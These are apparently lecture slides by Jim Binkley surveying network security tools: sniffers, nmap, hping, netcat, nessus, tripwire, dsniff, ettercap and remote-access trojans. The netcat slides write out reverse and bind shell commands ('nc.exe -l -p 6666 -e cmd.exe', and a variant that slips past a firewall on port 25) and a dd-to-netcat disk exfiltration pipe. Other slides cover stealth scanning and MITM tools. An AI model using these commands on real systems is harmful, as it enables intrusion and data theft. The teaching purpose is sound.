Tools Network Security Jim Binkley. Jim Binkley 1

Tools Network Security Jim Binkley. Jim Binkley 1

Outline basic tools netcat intrusion detection – – – – network monitors net-based audit/analysis (nessus) net-based signature analysis (snort) (see ASCII lecture) host-based anomaly analysis (tripwire) web audit/analysis wireless (kismet/netstumbler) attack tools (dsniff, ettercap) remote control/backdoor tools Jim Binkley 2

a few intro thoughts some of these tools can be grouped into different categories BUT then both tripwire and ourmon are intrusion detection tools (what do they have in common?) ID tools may have problems with false-positives attack tools can always be used for defensive purposes or offensive purposes: – nmap used to check for open ports . any tool may be used for ill (even ping) Jim Binkley 3

information sources: Anti-Hacker Toolkit, Jones, Shema, Johnson. Osborne 2002 Snort FAQ (and book) nmap documentation Hacker’s Exposed in numerous editions Jim Binkley 4

basic tools ping and relatives traceroute tcpdump and other sniffers – ethereal whois and the whois database dig/nslookup and the DNS scanners problem: given email handout, what can you learn about its origin? Jim Binkley 5

ping ping may be used to test basic 2-way connectivity or determine if an ip address space is populated – to stuff an ARP database (HPOV does this) » so that we can see how many hosts we have – to enable a port query because J. Hacker has an exploit Jim Binkley 6

ping may have these options -c count - send count pings -n count - windows, the same thing -f - UNIX, flood ping, one dot per ping -m (dos, -i) specify ttl -n (dos, -a), no DNS lookups -s (dos, -l) size, note 8 bytes for ICMP hdr -b (send broadcast ping on some systems) Jim Binkley 7

ping the net what if we want to ping a net or subnet ping -b may exist and may work: – # ping the broadcast address may work – note: both directed bcast and limited bcast – directed bcast is part of smurf attack other ping variations: – fping - www.fping.com/download Jim Binkley 8

fping good tool for pinging a subnet ordinary ping does one host at a time generating a script for a subnet is a pain fping can take a range and do them in roundrobin fashion fping -s -g 131.252.215.0/24 – pings all the addresses and tells us – which are reachable or not Jim Binkley 9

traceroute trace path from here to next by routers learn autonomous systems in combination with whois/nslookup (or dig) find path to attacker – and possibly complain about attacker – especially with one-way DOS attacks traceroute -g may work to give two way path Jim Binkley 10

sniffers what does a sniffer do? – captures some or all of 1.N packets » 68 bytes or 1500 bytes, L2 up, or L3 up – may have expression language for qualifying the search » tcp packets only from here to there » ping packets only » udp packets at port 111 – may be able to store and replay packets Jim Binkley 11

sniffer overview depending upon the quality of the sniffer – may be able to decode L7 protocols – may be able to decode hard things like ASN in SNMP, H323, etc. – or may completely NOT be able to do those things – may or may not understand something like 802.11 protocol (quite complex) Jim Binkley 12

hackers with sniffers they use some exploit to get root control of your linux box install a sniffer on the local link capture passwords . for protocols like – pop/http basic authentication/telnet/ftp, etc. using features mentioned earlier, how would you logically use a sniffer to capture passwords? how to counter the hacker? Jim Binkley 13

sniffers pros/cons cons: – too much data, not enough info - basic problem – one packet in a million was the attack, and you missed it . – may not be fast enough » consider tcpdump and a gigabit Ethernet connection – linear stream, not flow-oriented – may need port-mirroring to be effective » a host can’t see other host’s flow – sniffer’s output must be well-understood Jim Binkley 14

pros: may be able to provide details - view of packet internals – at last you understand how 802.11 works – you see a bug in a protocol packet your code is generating » IP version field is set to 0! (happened to me) can record data and re-examine later – some sniffers always record up to N pkts – tcpdump doesn’t record unless you ask it to Jim Binkley 15

free sniffers tcpdump for unix – www.tcpdump.org – pcap library is o.s. library to facilitate packet capture – ASCII packet dumper, with BPF expression language and other features – windump is windows version ethereal/wireshark - full-featured graphical interface. (lite version for command line) tcpflow - capture L7 TCP and sort into flows trafshow - a curses-based flow analysis system Jim Binkley 16

sniffer operation Alice Bob Bart on linux, eth0 Bart runs a sniffer, which puts eth0 in promiscuous mode Jim Binkley 17

which means interface captures unicast packets with MAC dst not self – normally you don’t capture those packets interesting os problem - do those packets get fed to your IP stack (hopefully no) – some kind of by-pass for complete packets needed – stack usually removes headers what problems do Ethernet switches induce? how does ettercap try to get around that? Jim Binkley 18

tcpdump operation we can capture all the packets or filter them # tcpdump -n (no DNS .) -i eth0 OR we use the bpf language to makeup interesting expressions: – – – – tcpdump -n -i eth0 tcp and port 23 tcpdump -n -i eth0 udp and port 53 tcp port 80 or tcp port 443 tcp port 20 or tcp port 21 net 131.252.20.0/24 Jim Binkley 19

more expressions tcp and not port 22 (leave my ssh session out) # find out what this one does . port 1214 or port 6881 or port 4662 # icmp port unreachable (3,3) icmp[icmptype] icmp-unreach && icmp[icmpcode] 3 # tcp rst messages tcp[tcpflags] & tcp-rst ! 0 note: shell escape like “ . expression .” may be needed Jim Binkley 20

tcpdump file capture and other tricks tcpdump . -w file -c 100 messages – store a 100 messages in a file tcpdump . -r file (replay the messages) other switches include: – -e dump MAC addresses – -x dump in hex format, -XX ascii dump too – -s 1500 - capture all the packet, not just headers Jim Binkley 21

sniffer detection create bogus packets and see a host on the link is looking them up DNS-wise kernel latency - more delay if in promiscous mode because of heavier load Jim Binkley 22

whois database whois originally created by INTERNIC to store INET admin info IP/AS addresses in the three global registers – ARIN – APNIC – RIPE DNS name/admin contact info Jim Binkley 23

whois server possibilities 1. whois.internic.net 2. whois.networksolutions.com 3. whois.arin.net 4. whois.apnic.net 5. whois.ripe.net 6. whois.nic.gov - US gov 7. whois.nic.mil - US military Jim Binkley 24

what do we use it for to determine source or origin for email – fraud/attacks/spam/tracing possible criminal to find out who to contact about abuse – [email protected] – contact admins to get them to try and stop a DOS attack – abuse is of course an arbitrary term for every day administrative work needs Jim Binkley 25

two basic forms of whois IP address lookup – # whois -h whois.arin.nic 131.252.0.0 DNS domain contact info – # whois somewhere.org exercise: – try out a few ips, and – a .com, a .net, a .org, and country code, and a .edu Jim Binkley 26

note web-based forms whois.net www.arin.net, www.apnic.net, www.ripe.net asn.cymru.com Jim Binkley 27

due to the breakup of the old DNS database via ICANN default for #whois is: whois.internic.net you may get a referral e.g., – # whois joebob.com – Registrar: whois.networkingsolutions.com – Referral URL: www. etc, so try whois -h whois.networksolutions.com joebob.com Jim Binkley 28

dig/nslookup nslookup is useful for querying DNS – local servers – or remote servers dig is the more modern replacement use to discover – 1. dns/ip mapping for A records – 2. PTR record reverse mapping – 3. SOA or MX or any other record for that matter Jim Binkley 29

example: MX record for cs.pdx.edu is: nslookup – – – – – set type MX cs.pdx.edu nameservers mail exchangers . try this yourself do it with dig as well Jim Binkley 30

scanners nmap - fundamental scanning tool hping - a low-level but versatile tool that is very very capable – – – – – see www.hping.org can construct tcp/udp/ip/icmp packets test firewall rules do remote OS fingerprinting test net performance, etc. Jim Binkley 31

nmap - a little more detail www.insecure.org – not clear how good windows version is? – anti-hacker toolkit suggests: ipeye or superscan plethora of scanning techniques – ping the net: -sP » nmap by default also sends TCP ACK technique – tcp port scan: -sT – portmapper scan: -sR (TCP RPC check) – tcp port with RST on port in use: -sS Jim Binkley 32

more nmap scans send TCP fin: -sF xmas tree scan: -sX – sends FIN, URG, and PUSH null TCP scan: -sN (no flags set) ACK scan: -sA – if RST is sent, port is up – if nothing or ICMP error, blocked by firewall Jim Binkley 33

more scans udp scan: -sU – icmp port unreachable means closed – nothing may mean open – host may rate filter icmp unreachables protocol scanning: -sO (ip layer) – may determine what protocols exist on a host version detection: -sV – post tcp/udp scan try to find out what app is there Jim Binkley 34

hiding your scan ftp bounce: ftp PORT command specifies: (ip address, PORT) what if we merely want to make ftp server try and do port scan for us? call this ftp bounce scan ftp server may be modified to only allow PORT back to ftp control/client BUT if not . -b [email protected] -p port targetip Jim Binkley 35

other hiding techniques fragment the packets add fake IP src addresses (decoys) randomize hosts/ports Jim Binkley 36

other features: nmap has default timing which can be changed using the -T option – some kinds of scans may be slow OS fingerprinting: -O – acc. to option try and determine os type – also looks at uptime and sequence number predictability Jim Binkley 37

latest version of nmap has technology to attempt to determine what is really at a port # telnetd -debug 6666 (on BSD) nmap -A -T4 127.0.0.1 finds: 22/tcpopen ssh OpenSSH 3.5p1 587/tcp open smtp Sendmail 8.12.9p2 6666/tcp open telnet BSD-derived telnet -F use ports in nmap-services file -T4 use “faster” timing and -A . aggressive Jim Binkley 38

hping scanner # hping somewhere.edu -A -p 80 – – – – we send a TCP ACK pkt, 1 per sec we will get Resets back probably we are sending ACKS we may be able to see how much traffic is done len 46 ip other ttl 52 id 44385 sport 80 flags R seq 0 win 0 rtt 15.5ms next pkt has id 44386 (web server not busy) Jim Binkley 39

is web server a windows box? may be able to detect some versions of windows due to how IP ID is incremented # hping -r ip -r for resets id N id N some multiple of 256 id N some multiple of 256 Jim Binkley 40

netcat creates TCP and UDP connections – at arbitrary ports – talk to stdin/stdout may be able to spawn external program – using said TCP port (start a shell) speak telnet so you can talk to telnet server better than telnet telnet client – doesn’t muck up binary data Jim Binkley 41

possible high-level functions obtain remote access to shell evade port filtering service discovery tool – what version of httpd/sshd? backup a file system as a port scanner Jim Binkley 42

some command-line options nc [host] [port/s] - client – # ls nc 1.2.3.4 6666 – # dd if /dev/hda nc 1.2.3.4 6666 -l and -p for listen (server) mode – # nc -l -p 6666 file.out -u for udp -z for port scanning -e program - spawn program -d - windows stealth mode (a server .) Jim Binkley 43

obtaining remote access to a shell on windows: # nc.exe -l -p 6666 -e cmd.exe now telnet to it: # telnet 10.0.0.01 6666 throw -d in to detach from the command prompt on windows hacker could rename nc as something else how do we counter this? Jim Binkley 44

what does this do? assume box A and box B (B is windows) firewall: lets port 25 thru A B A: nc -l -p 25 B: nc.exe -d -e cmd.exe -p 25 A IP Jim Binkley 45

netcat as telnet # nc 10.0.0.1 80 – speak web server # nc 10.0.0.1 25 – speak email client # nc 10.0.0.1 22 – find out ssh version Jim Binkley 46

forensics / backup on box A: # dd if /dev/hda nc ip 6666 on box B # nc -l -p 6666 ip.hda.image using bs to get a bigger blocksize is probably a good idea Jim Binkley 47

nc as a port scanner -z tells netcat to send minimal data zero i/o mode # nc -v -z 10.0.0.1 0-1024 will scan 1st 1k ports can use -i to randomize time -r to randomize port order Jim Binkley 48

intrusion detection we may characterize intrusion detection systems from MANY POV is it passive or active (snort vs nessus) – nessus looks for bugs on your hosts – snort watches your traffic with signatures is it net-based or host-based – snort vs virus scanner or tripwire detects anomaly or signature-based? – tripwire versus virus scanner (ourmon vs snort) Jim Binkley 49

signature-based systems may generate false positives or non-interesting “alerts” – many more than things they catch – Peter and the Wolf syndrome worse, they may miss the latest attack – SQLslammer moved fast – a virus may move slow, so a virus signature system that downloads new sigs when you boot may catch a new virus in time Jim Binkley 50

baselines in order to detect anomalies we must somehow define what is normal for net mgmt, we need a baseline database of some sort either human or machine must somehow compare baseline to “new” behavior – decide if info is “interesting”, generate alert this is a hard/open CS problem Jim Binkley 51

IDS systems of various sorts cricket/MRTG - a SNMP traffic monitor – not conventionally regarded as IDS ourmon - a network flow and traffic analysis tool – anomaly detector with human help nessus - covered here snort - separate discussion, covered elsewhere tripwire - covered here virus detection systems like McAfee, etc. – clamav open source project Jim Binkley 52

nessus - vulnerability scanner goal: test systems with a canned set of exploits/known holes nessus has client-server setup – server may be installed at various places on network, runs on TCP port 1241 – server conducts the tests – client talks to 1-N servers – facilitates distributed test setup Jim Binkley 53

nessus server has “plug-ins” plug-ins are tests grouped by function plug-ins may be downloaded on a nightly basis from: – www.nessus.org with nessus-update-plugins tool some sample plug-in types: “gain a shell” - buffer overflow, etc. windows - SMB, netbios, etc. bugs backdoors - look for back orifice and the like Jim Binkley 54

more plug-ins CGI abuse - cgi bugs in web servers gain root remotely - gain root or admin access firewalls - check for firewall misconfig DOS - denial of service checks – can be dangerous to the health of the target FTP - ftp bugs including ftp bounce and many more note that some tests may be deemed hazardous – can crash host or service Jim Binkley 55

e.g., root vulnerabilites checked for can include: IIS buffer overflow Samba Remote Arbitrary File Creation HTTP 1.0 header overflow SSH1 crc-32 compensation attack IIS ISAPI overflow ntpd overflow bind vulnerable, ETC ETC ETC (glump) Jim Binkley 56

nessus overview nessus has a server: # nessusd -D it may use tools like nmap and nikto (CGI checker) you need to add user capabilities with: # nessus-adduser – e.g., use cert/password, set username, etc. nessus has several front-ends: e.g. – 1. windows-based i – 2. unix X-based Jim Binkley 57

nessus output scanning (multiple hosts especially) may take awhile – set port range and target range including host/net output sorted by hosts, with ports in hosts click a port to see if there are security problems – nessus gives us a risk factor: High, etc. – of course, nessus may be wrong weakest link suggests err on side of caution Jim Binkley 58

snort - classic signature IDS get snort ASCII lecture file examples are too “hexOTIC” for powerpoint . Jim Binkley 59

tripwire open source version on sourceforge; .e.,g – sourceforge.net/projects/tripwire OR www.tripwire.org (maintained by tripwire) commercial version: www.tripwire.com commercial version better at file management problem – has client/server setup with ssl connection – server for each managed node – client watches set of managed nodes Jim Binkley 60

basic idea according to some config info (*policy*) – checksum a set of files – store the checksum in a “database” – the database, must be *secure* why? at a later time, (say a day) rerun the checksums compare checksums . you learn if a file changed, disappeared, etc. Jim Binkley 61

Consider these files on a unix system /var/log/messages changed /etc/master.passwd changed /usr/libexec/telnetd changed /usr/sbin/sshd changed /usr/bin/login changed you have a new /dev/.p7 directory? /root/.cshrc (root directory csh startup file) what can you conclude? Jim Binkley 62

and ponder this point how does tripwire therefore differ from a commercial tool that looks for viruses in your files? now turn to looking at open source tripwire on one host . Jim Binkley 63

tripwire setup - public key crypto site/local passphrase used to encrypt policy and database files the keys are stored locally but the passphrase is “something you know” site key used for policy/config files local key used for database/reports Jim Binkley 64

policy file /usr/local/etc/twpol.txt contents: – which files to examine – whether the files should change or not » and some prioritization (SIG HI.SIG LOW) – rules here reference dirs/files and your notion of changeability and expectation of change obviousally and likely system specific Jim Binkley 65

config file /usr/local/etc/twcfg.txt states where parts of tripwire live – the policy file – the database file (checksums/etc) » /var/db/tripwire – report files, also /var/db/tripwire/ HOST/date – site and local key files – note that binary versions of policy/config in /usr/local/etc directory Jim Binkley 66

4 modes of tripwire 1. init the database (collect signatures) # tripwire -m i -v (init mode/verbose) 2. integrity checking mode (compare) # tripwire -m c OR to just check /bin/ls # tripwire -m c -v /bin/ls OR high severity # tripwire -m c -v -l 100 (level 100 or up) reports are stored in /var/db/tripwire – can be viewed with twprint utility Jim Binkley 67

4 modes continued database update mode: # tripwire -m u -r . last report file . – file change occured, and you want to incrementally update the database – brings up an editor, you must examine – object summary and NOT edit a change – (leave x in so-called ballot box) – this means you didn’t care about the change – database updated Jim Binkley 68

last mode policy update mode you changed the policy file good idea to copy twpol.txt localpol.txt # tripwite -m p newpolicy.txt – policy binary is updated Jim Binkley 69

utilities twprint - print reports or database files twadmin - create/view config and policy files/key management too siggen - display signatures for files Jim Binkley 70

one file/one host tripwire case study we look at the policy file and discover that /etc/master.password is left our by default. We know that our system is single-user and the password doesn’t change We don’t add users either so let’s start over with a new policy file and a clean database . and then Jim Binkley 71

we change /etc/master.passwd we add a user with the adduser command – say bob we use passwd to change bob’s password – # passwd bob now what does tripwire tell us about it? tripwire -m c -v (/etc/master.passwd) Jim Binkley 72

run report maker twprint -m r -r latest report file we are told: files modified in /etc include: /etc/group.bak /etc/passwd /etc/pwd.db /etc/spwd.db /etc/group Jim Binkley 73

web auditing vulnerability scanners exist that are weboriented whisker - perl script to check for CGI problems – has scan databases for files/dirs/cgi scripts nikto - another perl tool and can run on unix and windows stealth - windows GUI-based tool Jim Binkley 74

more such tools twwwscan - windows GUI-based arirang - unix-based, written in C – find in freebsd ports once again: remember these tools may be used by 2 classes of people . Jim Binkley 75

wireless tools signal/noise analysis – antenna placement AP “war driving” – finding APs for good or for ill wireless sniffer so – you can dump details of 802.11 L2 protocol Jim Binkley 76

some possible tools windows client code; e.g., – Cisco has a good signal strength analyzer Kismet on UNIX (linux) – AP scanning tool netstumbler on windows (www.netstumbler.com) – AP scanning, does not sniff – netstumbler transmits probe/connection requests Jim Binkley 77

more tools wavemon on linux (in knoppix STD) – curses-based signal strength scanning our wscan app which has worked in the past – on linux (and freebsd, but not anymore) – signal-strength with orinoco/lucent cards ethereal on linux MAY be able to capture – 802.11 control messages – if you have the correct hardware – and correct drivers Jim Binkley 78

SSID/ESSID network name all cards associated with a network name; e.g., “mynet” or “yournet” this is basically a string in the packets to allow logical seperate networks has no security function . some cards can wildcard this info, and associate with the 1st net they find OR they may be programmable at the app layer to send 802.11 probe requests Jim Binkley 79

attack tools some tools may be used for good and ill, but they are passive – tcpdump is passive some tools may actively generate traffic for different reasons – to capture a file on the fly or do arp spoofing e.g., back orifice is a windows remote-control tool – but just who is doing the control? Jim Binkley 80

dsniff a set of tools file capture tools for grabbing files off of the network – as if you reassemble them with tcpdump man in the middle attack tools – arp spoofing – ssl spoofing – dns spoofing other kinds of attacks Jim Binkley 81

some of the dsniff toolset arpspoof - e.g., you tell the network that you are the router – you must forward the packets to the router by other means dnsspoof - you send a fake response that claims you are the IP for an A record dsniff - focus on capturing ASCII passwords for FTP, SMTP, POP, IMAP, etc. works well with telnet. Jim Binkley 82

more dsniff tools filesnarf - grab a file off of the net and reassemble it. – e.g., get an mp3 that someone else is actually fetching macof - flood the local switch MAC forwarding table – to try and force unicast segmentation to fail mailsnarf - grab email sshmitm - secure shell v1 man in the middle attack tcpkill - send RESETS to try and kill a TCP connection Jim Binkley 83

more dsniff tools urlsnarf - grab a web page on the fly webmitm - ssl focused attack. – injects fake SSL certificate to get this host in the middle of an SSL exchange webspy - sniff for web traffic from host X, and load same url on local netscape Jim Binkley 84

ettercap - features findable on sourceforce described as sniffer/interceptor/logger ssh1 MITM arp poisoner, and switch forwarding table too attacks against spanning-tree protocol HTTPS MITM Jim Binkley 85

ettercap - features sniff remote GRE tunnel MITM attack PPTP collect passwords OS fingerprint lan passive scan (ips/ports) look for other “poisoners” Jim Binkley 86

back orifice and its siblings backdoor or remote access tool such tools are “two-edged swords” – written to allow remote control of windows box – by white hat OR black hat client/server form likely – server runs on remote windows host – client control it – visual tools . Jim Binkley 87

how did the server get installed on my windows box? you downloaded something with IE you clicked on something that was an attachment . you downloaded the trojan horse that claimed to search for back orifice – and actually installs it . Jim Binkley 88

remote-control tools survey VNC - virtual network computing – from ATT originally, now from: – www.realvnc.com – client/server – web-based version tcp/port 5800 – port 5900 used for proprietary vnc server – server on attacked machine – might be installed via script (and email attachment) Jim Binkley 89

netbus some info: on BO and netbus windows-based system client/server model any tcp port, port 12345 is possible virus scanners can find it – may label it as trojan gui-based client with list of functions to be executed on “server” Jim Binkley 90

BO www.bo2k.com or sourceforge: sourceforge.net/projects/bo2k client/server windows/linux can use TCP or UDP encryption available as plug-ins – including aes note: this tool and others can do keyboard sniffing (ssh won’t help) Jim Binkley 91

subseven windows reported viral fingerprint mutation ability has options for reinfection at victim’s machine – ICQ chat network – IRC chat network – notification email controlling features similar to BO Jim Binkley 92

loki and stcpshell unix focus src must be compiled loki has – – – – – encapsulated commands inside icmp pings large icmp packets might give it away icmp sequence number is unchanging command-line client blowfish encryption is possible stcpshell similar Jim Binkley 93

knark compromises linux kernel src and must be compiled loadable module because is inside kernel may be hard to find can hide files/process entries/network connection allows remote execution can hide itself in loaded module listing Jim Binkley 94

knoppix STD security tools distribution www.knoppix-std.org lots of security tools on the knoppix bootable cdrom distribution – – – – ethereal/snort/wireless tools netcat/dd/sleuthkit/swatch john the ripper/vnc/sshd/slogin/dsniff nessus/nikto etc. etc. Jim Binkley 95

final thoughts penetration testing aka tiger team: – which tools would you use from our toolkit? what tools if any are defensive only? what are the counter-measures for L2 attacks as found in ettercap? – mac forwarding table overflow? – spanning tree table root grab? compare and contrast our IDS tools – snort vs tripwire vs a virus scanner vs nessus Jim Binkley 96

more tools? 1. the ones you can find out about 2. and the ones you don’t know about . until too late Jim Binkley 97

ok, a few more tools Cwsandbox - chapter 10 in the botnets book honeyd - www.honeyd.org “jail software” - see packetfence.org – you login into the network after the breath test – if you do something untoward the network kicks you out (puts you in jail) vmware (player/server) Jim Binkley 98